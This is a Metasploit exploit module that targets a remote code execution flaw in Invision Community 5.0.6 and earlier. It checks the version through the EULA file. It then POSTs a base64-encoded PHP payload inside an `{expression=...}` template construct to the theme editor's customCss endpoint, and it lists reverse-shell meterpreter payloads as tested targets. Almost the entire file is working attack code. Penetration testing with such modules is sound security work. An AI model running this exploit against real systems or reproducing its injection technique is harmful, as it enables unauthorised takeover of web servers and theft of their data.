##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Payload::Php

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Invision Community 5.0.6 customCss RCE',
        'Description' => %q{
          Invision Community up to and including version 5.0.6 contains a remote code
          execution vulnerability in the theme editor's customCss endpoint. By crafting
          a specially formatted `content` parameter with a `{expression="..."}`
          construct, arbitrary PHP can be evaluated. This module leverages that flaw
          to execute payloads or system commands as the webserver user.
        },
        'Author' => [
          'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC
          'Valentin Lobstein'     # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-47916'],
          ['EDB', '52294'],
          ['URL', 'https://karmainsecurity.com/KIS-2025-02'],
          ['URL', 'https://invisioncommunity.com']
        ],
        'License' => MSF_LICENSE,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-05-16',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt')
    res = send_request_cgi('uri' => path, 'method' => 'GET')
    unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) /
      return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA')
    end

    version = Rex::Version.new(Regexp.last_match(1))
    print_status("Detected IPS version: #{version}")

    if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6'))
      CheckCode::Appears("IPS version #{version} is vulnerable (≤ 5.0.6)")
    else
      CheckCode::Safe("IPS version #{version} is not vulnerable")
    end
  end

  def exploit
    raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64 = Rex::Text.encode_base64(raw)

    expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}"
    post_data = {
      'app' => 'core',
      'module' => 'system',
      'controller' => 'themeeditor',
      'do' => 'customCss',
      'content' => expr
    }

    print_status("Sending exploit to #{Rex::Socket.to_authority(rhost, rport)} ...")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'vars_post' => post_data
    )
  end
end
